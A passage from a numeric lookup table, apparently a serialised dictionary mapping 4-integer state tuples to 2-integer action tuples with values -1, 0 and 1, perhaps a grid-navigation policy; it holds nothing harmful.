(-1, 1), (9, 20, -1, -2): (1, 1), (9, 20, -1, -1): (1, 1), (9, 20, -1, 0): (1, 1), (9, 20, -1, 1): (1, 1), (9, 20, -1, 2): (0, 1), (9, 20, -1, 3): (0, 1), (9, 20, -1, 4): (0, 0), (9, 20, -1, 5): (0, -1), (9, 20, 0, -5): (1, 1), (9, 20, 0, -4): (1, 1), (9, 20, 0, -3): (1, 1), (9, 20, 0, -2): (1, 0), (9, 20, 0, -1): (0, 1), (9, 20, 0, 0): (0, 1), (9, 20, 0, 1): (0, 1), (9, 20, 0, 2): (-1, 1), (9, 20, 0, 3): (-1, 1), (9, 20, 0, 4): (-1, 0), (9, 20, 0, 5): (-1, -1), (9, 20, 1, -5): (0, 1), (9, 20, 1, -4): (0, 1), (9, 20, 1, -3): (0, 1), (9, 20, 1, -2): (0, 0), (9, 20, 1, -1): (0, 1), (9, 20, 1, 0): (-1, 1), (9, 20, 1, 1): (-1, 1), (9, 20, 1, 2): (-1, 1), (9, 20, 1, 3): (-1, 0), (9, 20, 1, 4): (-1, -1), (9, 20, 1, 5): (-1, -1), (9, 20, 2, -5): (0, 1), (9, 20, 2, -4): (0, 1), (9, 20, 2, -3): (0, 1), (9, 20, 2, -2): (0, 0), (9, 20, 2, -1): (0, 1), (9, 20, 2, 0): (0, 1), (9, 20, 2, 1): (0, 1), (9, 20, 2, 2): (0, 1), (9, 20, 2, 3): (0, 1), (9, 20, 2, 4): (0, 1), (9, 20, 2, 5): (0, 1), (9, 20, 3, -5): (0, 1), (9, 20, 3, -4): (0, 1), (9, 20, 3, -3): (0, 1), (9, 20, 3, -2): (0, 0), (9, 20, 3, -1): (0, 1), (9, 20, 3, 0): (0, 1), (9, 20, 3, 1): (0, 1), (9, 20, 3, 2): (0, 1), (9, 20, 3, 3): (0, 1), (9, 20, 3, 4): (0, 1), (9, 20, 3, 5): (0, 1), (9, 20, 4, -5): (0, 1), (9, 20, 4, -4): (0, 1), (9, 20, 4, -3): (0, 1), (9, 20, 4, -2): (0, 0), (9, 20, 4, -1): (0, 1), (9, 20, 4, 0): (0, 1), (9, 20, 4, 1): (0, 1), (9, 20, 4, 2): (0, 1), (9, 20, 4, 3): (0, 1), (9, 20, 4, 4): (0, 1), (9, 20, 4, 5): (0, 1), (9, 20, 5, -5): (0, 1), (9, 20, 5, -4): (0, 1), (9, 20, 5, -3): (0, 1), (9, 20, 5, -2): (0, 0), (9, 20, 5, -1): (0, 1), (9, 20, 5, 0): (0, 1), (9, 20, 5, 1): (0, 1), (9, 20, 5, 2): (0, 1), (9, 20, 5, 3): (0, 1), (9, 20, 5, 4): (0, 1), (9, 20, 5, 5): (0, 1), (9, 21, -5, -5): (0, 1), (9, 21, -5, -4): (0, 1), (9, 21, -5, -3): (0, 0), (9, 21, -5, -2): (0, 1), (9, 21, -5, -1): (0, 1), (9, 21, -5, 0): (0, 1), (9, 21, -5, 1): (0, 1), (9, 21, -5, 2): (0, 1), (9, 21, -5, 3): (0, 1), (9, 21, -5, 4): (0, 1), (9, 21, -5, 5): (0, 1), (9, 21, -4, -5): (0, 1), (9, 21, -4, -4): (0, 1), (9, 21, -4, -3): (0, 0), (9, 21, -4, -2): (0, 1), (9, 21, -4, -1): (0, 1), (9, 21, -4, 0): (0, 1), (9, 21, -4, 1): (0, 1), (9, 21, -4, 2): (0, 1), (9, 21, -4, 3): (1, 1), (9, 21, -4, 4): (1, 1), (9, 21, -4, 5): (1, 0), (9, 21, -3, -5): (-1, 1), (9, 21, -3, -4): (-1, 1), (9, 21, -3, -3): (-1, 0), (9, 21, -3, -2): (-1, 1), (9, 21, -3, -1): (-1, 1), (9, 21, -3, 0): (-1, 1), (9, 21, -3, 1): (1, 1), (9, 21, -3, 2): (1, 1), (9, 21, -3, 3): (0, 1), (9, 21, -3, 4): (0, 1), (9, 21, -3, 5): (0, 1), (9, 21, -2, -5): (0, 1), (9, 21, -2, -4): (0, 1), (9, 21, -2, -3): (0, 1), (9, 21, -2, -2): (0, 1), (9, 21, -2, -1): (1, 1), (9, 21, -2, 0): (1, 1), (9, 21, -2, 1): (1, 1), (9, 21, -2, 2): (1, 1), (9, 21, -2, 3): (-1, 1), (9, 21, -2, 4): (-1, 1), (9, 21, -2, 5): (-1, 1), (9, 21, -1, -5): (-1, 1), (9, 21, -1, -4): (-1, 1), (9, 21, -1, -3): (-1, 1), (9, 21, -1, -2): (-1, 1), (9, 21, -1, -1): (1, 1), (9, 21, -1, 0): (1, 1), (9, 21, -1, 1): (0, 1), (9, 21, -1, 2): (0, 1), (9, 21, -1, 3): (0, 0), (9, 21, -1, 4): (0, -1), (9, 21, -1, 5): (0, -1), (9, 21, 0, -5): (1, 1), (9, 21, 0, -4): (1, 1), (9, 21, 0, -3): (1, 0), (9, 21, 0, -2): (1, 1), (9, 21, 0, -1): (0, 1), (9, 21, 0, 0): (0, 1), (9, 21, 0, 1): (-1, 1), (9, 21, 0, 2): (-1, 1), (9, 21, 0, 3): (-1, 0), (9, 21, 0, 4): (-1, -1), (9, 21, 0, 5): (-1, -1), (9, 21, 1, -5): (0, 1), (9, 21, 1, -4): (0, 1), (9, 21, 1, -3): (0, 0), (9, 21, 1, -2): (0, 1), (9, 21, 1, -1): (0, 1), (9, 21, 1, 0): (-1, 1), (9, 21, 1, 1): (-1, 1), (9, 21, 1, 2): (-1, 1), (9, 21, 1, 3): (-1, 0), (9, 21, 1, 4): (-1, -1), (9, 21, 1, 5): (-1, -1), (9, 21, 2, -5): (0, 1), (9, 21, 2, -4): (0, 1), (9, 21, 2, -3): (0, 0), (9, 21, 2, -2): (0, 1), (9, 21, 2, -1): (0, 1), (9, 21, 2, 0): (0, 1), (9, 21, 2, 1): (0, 1), (9, 21, 2, 2): (0, 1), (9, 21, 2, 3): (0, 1), (9, 21, 2, 4): (0, 1), (9, 21, 2, 5): (0, 1), (9, 21, 3, -5): (0, 1), (9, 21, 3, -4): (0, 1), (9, 21, 3, -3): (0, 0), (9, 21, 3, -2): (0, 1), (9, 21, 3, -1): (0, 1), (9, 21, 3, 0): (0, 1), (9, 21, 3, 1): (0, 1), (9, 21, 3, 2): (0, 1), (9, 21, 3, 3): (0, 1), (9, 21, 3, 4): (0, 1), (9, 21, 3, 5): (0, 1), (9, 21, 4, -5): (0, 1), (9, 21, 4, -4): (0, 1), (9, 21, 4, -3): (0, 0), (9, 21, 4, -2): (0, 1), (9, 21, 4, -1): (0, 1), (9, 21, 4, 0): (0, 1), (9, 21, 4, 1): (0, 1), (9, 21, 4, 2): (0, 1), (9, 21, 4, 3): (0, 1), (9, 21, 4, 4): (0, 1), (9, 21, 4, 5): (0, 1), (9, 21, 5, -5): (0, 1), (9, 21, 5, -4): (0, 1), (9, 21, 5, -3): (0, 0), (9, 21, 5, -2): (0, 1), (9, 21, 5, -1): (0, 1), (9, 21, 5, 0): (0, 1), (9, 21, 5, 1): (0, 1), (9, 21, 5, 2): (0, 1), (9, 21, 5, 3): (0, 1), (9, 21, 5, 4): (0, 1), (9, 21, 5, 5): (0, 1), (9, 22, -5, -5): (0, 1), (9, 22, -5, -4): (0, 0), (9, 22, -5, -3): (0, 1), (9, 22, -5, -2): (0, 1), (9, 22, -5, -1): (0, 1), (9, 22, -5, 0): (0, 1), (9, 22, -5, 1): (0, 1), (9, 22, -5, 2): (0, 1), (9, 22, -5, 3): (0, 1), (9, 22, -5, 4): (0, 1), (9, 22, -5, 5): (0, 1), (9, 22, -4, -5): (0, 1), (9, 22, -4, -4): (0, 0), (9, 22, -4, -3): (0, 1), (9, 22, -4, -2): (0, 1), (9, 22, -4, -1): (0, 1), (9, 22, -4, 0): (0, 1), (9, 22, -4, 1): (0, 1), (9, 22, -4, 2): (1, 1), (9, 22, -4, 3): (1, 1), (9, 22, -4, 4): (1, 1), (9, 22, -4, 5): (1, 0), (9, 22, -3, -5): (-1, 1), (9, 22, -3, -4): (-1, 0), (9, 22, -3, -3): (-1, 1), (9, 22, -3, -2): (-1, 1), (9, 22, -3, -1): (-1, 1), (9, 22, -3, 0): (-1, 1), (9, 22, -3, 1): (1, 1), (9, 22, -3, 2): (0, 1), (9, 22, -3, 3): (0, 1), (9, 22, -3, 4): (0, 1), (9, 22, -3, 5): (0, 1), (9, 22, -2, -5): (0, 1), (9, 22, -2, -4): (0, 1), (9, 22, -2, -3): (0, 1), (9, 22, -2, -2): (0, 1), (9, 22, -2, -1): (1, 1), (9, 22, -2, 0): (1, 1), (9, 22, -2, 1): (1, 1), (9, 22, -2, 2): (-1, 1), (9, 22, -2, 3): (-1, 1), (9, 22, -2, 4): (-1, 1), (9, 22, -2, 5): (-1, 1), (9, 22, -1, -5): (-1, 1), (9, 22, -1, -4): (-1, 1), (9, 22, -1, -3): (-1, 1), (9, 22, -1, -2): (1, 1), (9, 22, -1, -1): (1, 1), (9, 22, -1, 0): (1, 1), (9, 22, -1, 1): (0, 1), (9, 22, -1, 2): (0, 1), (9, 22, -1, 3): (0, 1), (9, 22, -1, 4): (-1, 1), (9, 22, -1, 5): (-1, 1), (9, 22, 0, -5): (1, 1), (9, 22, 0, -4): (1, 0), (9, 22, 0, -3): (1, 1), (9, 22, 0, -2): (1, 1), (9, 22, 0, -1): (0, 1), (9, 22, 0, 0): (0, 1), (9, 22, 0, 1): (-1, 1), (9, 22, 0, 2): (-1, 1), (9, 22, 0, 3): (-1, 1), (9, 22, 0, 4): (-1, 0), (9, 22, 0, 5): (-1, -1), (9, 22, 1, -5): (0, 1), (9, 22, 1, -4): (0, 0), (9, 22, 1, -3): (0, 1), (9, 22, 1, -2): (0, 1), (9, 22, 1, -1): (0, 1), (9, 22, 1, 0): (-1, 1), (9, 22, 1, 1): (-1, 1), (9, 22, 1, 2): (-1, 0), (9, 22, 1, 3): (-1, -1), (9, 22, 1, 4): (-1, -1), (9, 22, 1, 5): (0, 1), (9, 22, 2, -5): (0, 1), (9, 22, 2, -4): (0, 0), (9, 22, 2, -3): (0, 1), (9, 22, 2, -2): (0, 1), (9, 22, 2, -1): (0, 1), (9, 22, 2, 0): (0, 1), (9, 22, 2, 1): (0, 1), (9, 22, 2, 2): (0, 1), (9, 22, 2, 3): (0, 1), (9, 22, 2, 4): (0, 1), (9, 22, 2, 5): (0, 1), (9, 22, 3, -5): (0, 1), (9, 22, 3, -4): (0, 0), (9, 22, 3, -3): (0, 1), (9, 22, 3, -2): (0, 1), (9, 22, 3, -1): (0, 1), (9, 22, 3, 0): (0, 1), (9, 22, 3, 1): (0, 1), (9, 22, 3, 2): (0, 1), (9, 22, 3, 3): (0, 1), (9, 22, 3, 4): (0, 1), (9, 22, 3, 5): (0, 1), (9, 22, 4, -5): (0, 1), (9, 22, 4, -4): (0, 0), (9, 22, 4, -3): (0, 1), (9, 22, 4, -2): (0, 1), (9, 22, 4, -1): (0, 1), (9, 22, 4, 0): (0, 1), (9, 22, 4, 1): (0, 1), (9, 22, 4, 2): (0, 1), (9, 22, 4, 3): (0, 1), (9, 22, 4, 4): (0, 1), (9, 22, 4, 5): (0, 1), (9, 22, 5, -5): (0, 1), (9, 22, 5, -4): (0, 0), (9, 22, 5, -3): (0, 1), (9, 22, 5, -2): (0, 1), (9, 22, 5, -1): (0, 1), (9, 22, 5, 0): (0, 1), (9, 22, 5, 1): (0, 1), (9, 22, 5, 2): (0, 1), (9, 22, 5, 3): (0, 1), (9, 22, 5, 4): (0, 1), (9, 22, 5, 5): (0, 1), (9, 23, -5, -5): (0, 0), (9, 23, -5, -4): (0, 1), (9, 23, -5, -3): (0, 1), (9, 23, -5, -2): (0, 1), (9, 23, -5, -1): (0, 1), (9, 23, -5, 0): (0, 1), (9, 23, -5, 1): (0, 1), (9, 23, -5, 2): (0, 1), (9, 23, -5, 3): (0, 1), (9, 23, -5, 4): (0, 1), (9, 23, -5, 5): (0, 1), (9, 23, -4, -5): (0, 0), (9, 23, -4, -4): (0, 1), (9, 23, -4, -3): (0, 1), (9, 23, -4, -2): (0, 1), (9, 23, -4, -1): (0, 1), (9, 23, -4, 0): (0, 1), (9, 23, -4, 1): (0, 1), (9, 23, -4, 2): (1, 1), (9, 23, -4, 3): (1, 1), (9, 23, -4, 4): (1, 1), (9, 23, -4, 5): (1, 0), (9, 23, -3, -5): (-1, 0), (9, 23, -3, -4): (-1, 1), (9, 23, -3, -3): (-1, 1), (9, 23, -3, -2): (-1, 1), (9, 23, -3, -1): (-1, 1), (9, 23, -3, 0): (1, 1), (9, 23, -3, 1): (1, 1), (9, 23, -3, 2): (0, 1), (9, 23, -3, 3): (0, 1), (9, 23, -3, 4): (0, 1), (9, 23, -3, 5): (0, 1), (9, 23, -2, -5): (0, 1), (9, 23, -2, -4): (0, 1), (9, 23, -2, -3): (0, 1), (9, 23, -2, -2): (0, 1), (9, 23, -2, -1): (1, 1), (9, 23, -2, 0): (1, 1), (9, 23, -2, 1): (1, 1), (9, 23, -2, 2): (-1, 1), (9, 23, -2, 3): (-1, 1), (9, 23, -2, 4): (-1, 1), (9, 23, -2, 5): (-1, 1), (9, 23, -1, -5): (-1, 1), (9, 23, -1, -4): (-1, 1), (9, 23, -1, -3): (-1, 1), (9, 23, -1, -2): (1, 1), (9, 23, -1, -1): (1, 1), (9, 23, -1, 0): (1, 1), (9, 23, -1, 1): (0, 1), (9, 23, -1, 2): (0, 1), (9, 23, -1, 3): (0, 0), (9, 23, -1, 4): (-1, 1), (9, 23, -1, 5): (-1, 1), (9, 23, 0, -5): (1, 0), (9, 23, 0, -4): (1, 1), (9, 23, 0, -3): (1, 1), (9, 23, 0, -2): (1, 1), (9, 23, 0, -1): (0, 1), (9, 23, 0, 0): (0, 1), (9, 23, 0, 1): (-1, 1), (9, 23, 0, 2): (-1, 1), (9, 23, 0, 3): (-1, 0), (9, 23, 0, 4): (-1, -1), (9, 23, 0, 5): (-1, -1), (9, 23, 1, -5): (0, 0), (9, 23, 1, -4): (0, 1), (9, 23, 1, -3): (0, 1), (9, 23, 1, -2): (0, 1), (9, 23, 1, -1): (0, 1), (9, 23, 1, 0): (-1, 1), (9, 23, 1, 1): (-1, 1), (9, 23, 1, 2): (-1, 1), (9, 23, 1, 3): (-1, 0), (9, 23, 1, 4): (-1, -1), (9, 23, 1, 5): (0, 1), (9, 23, 2, -5): (0, 0), (9, 23, 2, -4): (0, 1), (9, 23, 2, -3): (0, 1), (9, 23, 2, -2): (0, 1), (9, 23, 2, -1): (0, 1), (9, 23, 2, 0): (0, 1), (9, 23, 2, 1): (0, 1), (9, 23, 2, 2): (0, 1), (9, 23, 2, 3): (0, 1), (9, 23, 2, 4): (0, 1), (9, 23, 2, 5): (0, 1), (9, 23, 3, -5): (0, 0), (9, 23, 3, -4): (0, 1), (9, 23, 3, -3): (0, 1), (9, 23, 3, -2): (0, 1), (9, 23, 3, -1): (0, 1), (9, 23, 3, 0): (0, 1), (9, 23, 3, 1): (0, 1), (9, 23, 3, 2): (0, 1), (9, 23, 3, 3): (0, 1), (9, 23, 3, 4): (0, 1), (9, 23, 3, 5): (0, 1), (9, 23, 4, -5): (0, 0), (9, 23, 4, -4): (0, 1), (9, 23, 4, -3): (0, 1), (9, 23, 4, -2): (0, 1), (9, 23, 4, -1): (0, 1), (9, 23, 4, 0): (0, 1), (9, 23, 4, 1): (0, 1), (9, 23, 4, 2): (0, 1), (9, 23, 4, 3): (0, 1), (9, 23, 4, 4): (0, 1), (9, 23, 4, 5): (0, 1), (9, 23, 5, -5): (0, 0), (9, 23, 5, -4): (0, 1), (9, 23, 5, -3): (0, 1), (9, 23, 5, -2): (0, 1), (9, 23, 5, -1): (0, 1), (9, 23, 5, 0): (0, 1), (9, 23, 5, 1): (0, 1), (9, 23, 5, 2): (0, 1), (9, 23, 5, 3): (0, 1), (9, 23, 5, 4): (0, 1), (9, 23, 5, 5): (0, 1), (9, 24, -5, -5): (0, 1), (9, 24, -5, -4): (0, 1), (9, 24, -5, -3): (0, 1), (9, 24, -5, -2): (0, 1), (9, 24, -5, -1): (0, 1), (9, 24, -5, 0): (0, 1), (9, 24, -5, 1): (0, 1), (9, 24, -5, 2): (0, 1), (9, 24, -5, 3): (0, 1), (9, 24, -5, 4): (0, 1), (9, 24, -5, 5): (0, 1), (9, 24, -4, -5): (0, 1), (9, 24, -4, -4): (0, 1), (9, 24, -4, -3): (0, 1), (9, 24, -4, -2): (0, 1), (9, 24, -4, -1): (0, 1), (9, 24, -4, 0): (0, 1), (9, 24, -4, 1): (1, 1), (9, 24, -4, 2): (1, 1), (9, 24, -4, 3): (1, 1), (9, 24, -4, 4): (1, 0), (9, 24, -4, 5): (1, -1), (9, 24, -3, -5): (-1, 1), (9, 24, -3, -4): (-1, 1), (9, 24, -3, -3): (-1, 1), (9, 24, -3, -2): (-1, 1), (9, 24, -3, -1): (-1, 1), (9, 24, -3, 0): (1, 1), (9, 24, -3, 1): (0, 1), (9, 24, -3, 2): (0, 1), (9, 24, -3, 3): (0, 1), (9, 24, -3, 4): (0, 0), (9, 24, -3, 5): (0, -1), (9, 24, -2, -5): (0, 1), (9, 24, -2, -4): (0, 1), (9, 24, -2, -3): (0, 1), (9, 24, -2, -2): (0, 1), (9, 24, -2, -1): (1, 1), (9, 24, -2, 0): (1, 1), (9, 24, -2, 1): (-1, 1), (9, 24, -2, 2): (-1, 1), (9, 24, -2, 3): (-1, 1), (9, 24, -2, 4): (-1, 0), (9, 24, -2, 5): (-1, -1), (9, 24, -1, -5): (-1, 1), (9, 24, -1, -4): (-1, 1), (9, 24, -1, -3): (1, 1), (9, 24, -1, -2): (1, 1), (9, 24, -1, -1): (1, 1), (9, 24, -1, 0): (1, 1), (9, 24, -1, 1): (0, 1), (9, 24, -1, 2): (0, 1), (9, 24, -1, 3): (-1, 1), (9, 24, -1, 4): (-1, 0), (9, 24, -1, 5): (-1, -1), (9, 24, 0, -5): (1, 1), (9, 24, 0, -4): (1, 1), (9, 24, 0, -3): (1, 1), (9, 24, 0, -2): (1, 1), (9, 24, 0, -1): (0, 1), (9, 24, 0, 0): (0, 1), (9, 24, 0, 1): (-1, 1), (9, 24, 0, 2): (-1, 1), (9, 24, 0, 3): (-1, 0), (9, 24, 0, 4): (-1, -1), (9, 24, 0, 5): (-1, -1), (9, 24, 1, -5): (0, 1), (9, 24, 1, -4): (0, 1), (9, 24, 1, -3): (0, 1), (9, 24, 1, -2): (0, 1), (9, 24, 1, -1): (0, 1), (9, 24, 1, 0): (-1, 1), (9, 24, 1, 1): (-1, 1), (9, 24, 1, 2): (-1, 0), (9, 24, 1, 3): (-1, -1), (9, 24, 1, 4): (0, 1), (9, 24, 1, 5): (0, 1), (9, 24, 2, -5): (0, 1), (9, 24, 2, -4): (0, 1), (9, 24, 2, -3): (0, 1), (9, 24, 2, -2): (0, 1), (9, 24, 2, -1): (0, 1), (9, 24, 2, 0): (0, 1), (9, 24, 2, 1): (0, 1), (9, 24, 2, 2): (0, 1), (9, 24, 2, 3): (0, 1), (9, 24, 2, 4): (0, 1), (9, 24, 2, 5): (0, 1), (9, 24, 3, -5): (0, 1), (9, 24, 3, -4): (0, 1), (9, 24, 3, -3): (0, 1), (9, 24, 3, -2): (0, 1), (9, 24, 3, -1): (0, 1), (9, 24, 3, 0): (0, 1), (9, 24, 3, 1): (0, 1), (9, 24, 3, 2): (0, 1), (9, 24, 3, 3): (0, 1), (9, 24, 3, 4): (0, 1), (9, 24, 3, 5): (0, 1), (9, 24, 4, -5): (0, 1), (9, 24, 4, -4): (0, 1), (9, 24, 4, -3): (0, 1), (9, 24, 4, -2): (0, 1), (9, 24, 4, -1): (0, 1), (9, 24, 4, 0): (0, 1), (9, 24, 4, 1): (0, 1), (9, 24, 4, 2): (0, 1), (9, 24, 4, 3): (0, 1), (9, 24, 4, 4): (0, 1), (9, 24, 4, 5): (0, 1), (9, 24, 5, -5): (0, 1), (9, 24, 5, -4): (0, 1), (9, 24, 5, -3): (0, 1), (9, 24, 5, -2): (0, 1), (9, 24, 5, -1): (0, 1), (9, 24, 5, 0): (0, 1), (9, 24, 5, 1): (0, 1), (9, 24, 5, 2): (0, 1), (9, 24, 5, 3): (0, 1), (9, 24, 5, 4): (0, 1), (9, 24, 5, 5): (0, 1), (9, 25, -5, -5): (0, 1), (9, 25, -5, -4): (0, 1), (9, 25, -5, -3): (0, 1), (9, 25, -5, -2): (0, 1), (9, 25, -5, -1): (0, 1), (9, 25, -5, 0): (0, 1), (9, 25, -5, 1): (0, 1), (9, 25, -5, 2): (0, 1), (9, 25, -5, 3): (0, 1), (9, 25, -5, 4): (0, 1), (9, 25, -5, 5): (0, 1), (9, 25, -4, -5): (0, 1), (9, 25, -4, -4): (0, 1), (9, 25, -4, -3): (0, 1), (9, 25, -4, -2): (0, 1), (9, 25, -4, -1): (0, 1), (9, 25, -4, 0): (0, 1), (9, 25, -4, 1): (1, 1), (9, 25, -4, 2): (1, 1), (9, 25, -4, 3): (1, 1), (9, 25, -4, 4): (1, 0), (9, 25, -4, 5): (1, -1), (9, 25, -3, -5): (-1, 1), (9, 25, -3, -4): (-1, 1), (9, 25, -3, -3): (-1, 1), (9, 25, -3, -2): (-1, 1), (9, 25, -3, -1): (-1, 1), (9, 25, -3, 0): (1, 1), (9, 25, -3, 1): (0, 1), (9, 25, -3, 2): (0, 1), (9, 25, -3, 3): (0, 1), (9, 25, -3, 4): (0, 0), (9, 25, -3, 5): (0, -1), (9, 25, -2, -5): (0, 1), (9, 25, -2, -4): (0, 1), (9, 25, -2, -3): (0, 1), (9, 25, -2, -2): (1, 1), (9, 25, -2, -1): (1, 1), (9, 25, -2, 0): (1, 1), (9, 25, -2, 1): (-1, 1), (9, 25, -2, 2): (-1, 1), (9, 25, -2, 3): (-1, 1), (9, 25, -2, 4): (-1, 0), (9, 25, -2, 5): (-1, -1), (9, 25, -1, -5): (-1, 1), (9, 25, -1, -4): (-1, 1), (9, 25, -1, -3): (1, 1), (9, 25, -1, -2): (1, 1), (9, 25, -1, -1): (1, 1), (9, 25, -1, 0): (0, 1), (9, 25, -1, 1): (0, 1), (9, 25, -1, 2): (-1, 1), (9, 25, -1, 3): (-1, 1), (9, 25, -1, 4): (-1, 0), (9, 25, -1, 5): (-1, -1), (9, 25, 0, -5): (1, 1), (9, 25, 0, -4): (1, 1), (9, 25, 0, -3): (1, 1), (9, 25, 0, -2): (1, 1), (9, 25, 0, -1): (0, 1), (9, 25, 0, 0): (-1, 1), (9, 25, 0, 1): (-1, 1), (9, 25, 0, 2): (-1, 0), (9, 25, 0, 3): (-1, -1), (9, 25, 0, 4): (-1, -1), (9, 25, 0, 5): (-1, -1), (9, 25, 1, -5): (0, 1), (9, 25, 1, -4): (0, 1), (9, 25, 1, -3): (0, 1), (9, 25, 1, -2): (0, 1), (9, 25, 1, -1): (0, 1), (9, 25, 1, 0): (-1, 1), (9, 25, 1, 1): (-1, 0), (9, 25, 1, 2): (-1, -1), (9, 25, 1, 3): (0, 1), (9, 25, 1, 4): (0, 0), (9, 25, 1, 5): (0, -1), (9, 25, 2, -5): (0, 1), (9, 25, 2, -4): (0, 1), (9, 25, 2, -3): (0, 1), (9, 25, 2, -2): (0, 1), (9, 25, 2, -1): (0, 1), (9, 25, 2, 0): (0, 1), (9, 25, 2, 1): (0, 1), (9, 25, 2, 2): (0, 1), (9, 25, 2, 3): (0, 1), (9, 25, 2, 4): (0, 0), (9, 25, 2, 5): (-1, -1), (9, 25, 3, -5): (0, 1), (9, 25, 3, -4): (0, 1), (9, 25, 3, -3): (0, 1), (9, 25, 3, -2): (0, 1), (9, 25, 3, -1): (0, 1), (9, 25, 3, 0): (0, 1), (9, 25, 3, 1): (0, 1), (9, 25, 3, 2): (0, 1), (9, 25, 3, 3): (0, 1), (9, 25, 3, 4): (0, 0), (9, 25, 3, 5): (-1, -1), (9, 25, 4, -5): (0, 1), (9, 25, 4, -4): (0, 1), (9, 25, 4, -3): (0, 1), (9, 25, 4, -2): (0, 1), (9, 25, 4, -1): (0, 1), (9, 25, 4, 0): (0, 1), (9, 25, 4, 1): (0, 1), (9, 25, 4, 2): (0, 1), (9, 25, 4, 3): (0, 1), (9, 25, 4, 4): (0, 0), (9, 25, 4, 5): (-1, -1), (9, 25, 5, -5): (0, 1), (9, 25, 5, -4): (0, 1), (9, 25, 5, -3): (0, 1), (9, 25, 5, -2): (0, 1), (9, 25, 5, -1): (0, 1), (9, 25, 5, 0): (0, 1), (9, 25, 5, 1): (0, 1), (9, 25, 5, 2): (0, 1), (9, 25, 5, 3): (0, 1), (9, 25, 5, 4): (0, 0), (9, 25, 5, 5): (-1, -1), (9, 26, -5, -5): (0, 1), (9, 26, -5, -4): (0, 1), (9, 26, -5, -3): (0, 1), (9, 26, -5, -2): (0, 1), (9, 26, -5, -1): (0, 1), (9, 26, -5, 0): (0, 1), (9, 26, -5, 1): (0, 1), (9, 26, -5, 2): (0, 1), (9, 26, -5, 3): (0, 1), (9, 26, -5, 4): (0, 1), (9, 26, -5, 5): (0, 1), (9, 26, -4, -5): (0, 1), (9, 26, -4, -4): (0, 1), (9, 26, -4, -3): (0, 1), (9, 26, -4, -2): (0, 1), (9, 26, -4, -1): (0, 1), (9, 26, -4, 0): (1, 1), (9, 26, -4, 1): (1, 1), (9, 26, -4, 2): (1, 1), (9, 26, -4, 3): (1, 0), (9, 26, -4, 4): (1, -1), (9, 26, -4, 5): (1, -1), (9, 26, -3, -5): (-1, 1), (9, 26, -3, -4): (-1, 1), (9, 26, -3, -3): (-1, 1), (9, 26, -3, -2): (-1, 1), (9, 26, -3, -1): (-1, 1), (9, 26, -3, 0): (0, 1), (9, 26, -3, 1): (0, 1), (9, 26, -3, 2): (0, 1), (9, 26, -3, 3): (0, 0), (9, 26, -3, 4): (0, -1), (9, 26, -3, 5): (0, -1), (9, 26, -2, -5): (0, 1), (9, 26, -2, -4): (0, 1), (9, 26, -2, -3): (0, 1), (9, 26, -2, -2): (1, 1), (9, 26, -2, -1): (1, 1), (9, 26, -2, 0): (-1, 1), (9, 26, -2, 1): (-1, 1), (9, 26, -2, 2): (-1, 1), (9, 26, -2, 3): (-1, 0), (9, 26, -2, 4): (-1, -1), (9, 26, -2, 5): (-1, -1), (9, 26, -1, -5): (-1, 1), (9, 26, -1, -4): (-1, 1), (9, 26, -1, -3): (1, 1), (9, 26, -1, -2): (1, 1), (9, 26, -1, -1): (1, 1), (9, 26, -1, 0): (0, 1), (9, 26, -1, 1): (0, 1), (9, 26, -1, 2): (-1, 1), (9, 26, -1, 3): (-1, 0), (9, 26, -1, 4): (-1, -1), (9, 26, -1, 5): (-1, -1), (9, 26, 0, -5): (1, 1), (9, 26, 0, -4): (1, 1), (9, 26, 0, -3): (1, 1), (9, 26, 0, -2): (1, 1), (9, 26, 0, -1): (0, 1), (9, 26, 0, 0): (-1, 1), (9, 26, 0, 1): (-1, 1), (9, 26, 0, 2): (-1, 0), (9, 26, 0, 3): (-1, -1), (9, 26, 0, 4): (-1, -1), (9, 26, 0, 5): (-1, 1), (9, 26, 1, -5): (0, 1), (9, 26, 1, -4): (0, 1), (9, 26, 1, -3): (0, 1), (9, 26, 1, -2): (0, 1), (9, 26, 1, -1): (0, 1), (9, 26, 1, 0): (-1, 1), (9, 26, 1, 1): (-1, 1), (9, 26, 1, 2): (0, 1), (9, 26, 1, 3): (0, 0), (9, 26, 1, 4): (0, -1), (9, 26, 1, 5): (0, -1), (9, 26, 2, -5): (0, 1), (9, 26, 2, -4): (0, 1), (9, 26, 2, -3): (0, 1), (9, 26, 2, -2): (0, 1), (9, 26, 2, -1): (0, 1), (9, 26, 2, 0): (0, 1), (9, 26, 2, 1): (0, 1), (9, 26, 2, 2): (0, 1), (9, 26, 2, 3): (0, 0), (9, 26, 2, 4): (-1, -1), (9, 26, 2, 5): (-1, -1), (9, 26, 3, -5): (0, 1), (9, 26, 3, -4): (0, 1), (9, 26, 3, -3): (0, 1), (9, 26, 3, -2): (0, 1), (9, 26, 3, -1): (0, 1), (9, 26, 3, 0): (0, 1), (9, 26, 3, 1): (0, 1), (9, 26, 3, 2): (0, 1), (9, 26, 3, 3): (0, 0), (9, 26, 3, 4): (-1, -1), (9, 26, 3, 5): (-1, -1), (9, 26, 4, -5): (0, 1), (9, 26, 4, -4): (0, 1), (9, 26, 4, -3): (0, 1), (9, 26, 4, -2): (0, 1), (9, 26, 4, -1): (0, 1), (9, 26, 4, 0): (0, 1), (9, 26, 4, 1): (0, 1), (9, 26, 4, 2): (0, 1), (9, 26, 4, 3): (0, 0), (9, 26, 4, 4): (-1, -1), (9, 26, 4, 5): (-1, -1), (9, 26, 5, -5): (0, 1), (9, 26, 5, -4): (0, 1), (9, 26, 5, -3): (0, 1), (9, 26, 5, -2): (0, 1), (9, 26, 5, -1): (0, 1), (9, 26, 5, 0): (0, 1), (9, 26, 5, 1): (0, 1), (9, 26, 5, 2): (0, 1), (9, 26, 5, 3): (0, 0), (9, 26, 5, 4): (-1, -1), (9, 26, 5, 5): (-1, -1), (9, 27, -5, -5): (0, 1), (9, 27, -5, -4): (0, 1), (9, 27, -5, -3): (0, 1), (9, 27, -5, -2): (0, 1), (9, 27, -5, -1): (0, 1), (9, 27, -5, 0): (0, 1), (9, 27, -5, 1): (0, 1), (9, 27, -5, 2): (0, 1), (9, 27, -5, 3): (0, 1), (9, 27, -5, 4): (0, 1), (9, 27, -5, 5): (0, 1), (9, 27, -4, -5): (0, 1), (9, 27, -4, -4): (0, 1), (9, 27, -4, -3): (0, 1), (9, 27, -4, -2): (0, 1), (9, 27, -4, -1): (0, 1), (9, 27, -4, 0): (1, 1), (9, 27, -4, 1): (1, 1), (9, 27, -4, 2): (1, 1), (9, 27, -4, 3): (1, 0), (9, 27, -4, 4): (1, -1), (9, 27, -4, 5): (0, 1), (9, 27, -3, -5): (-1, 1), (9, 27, 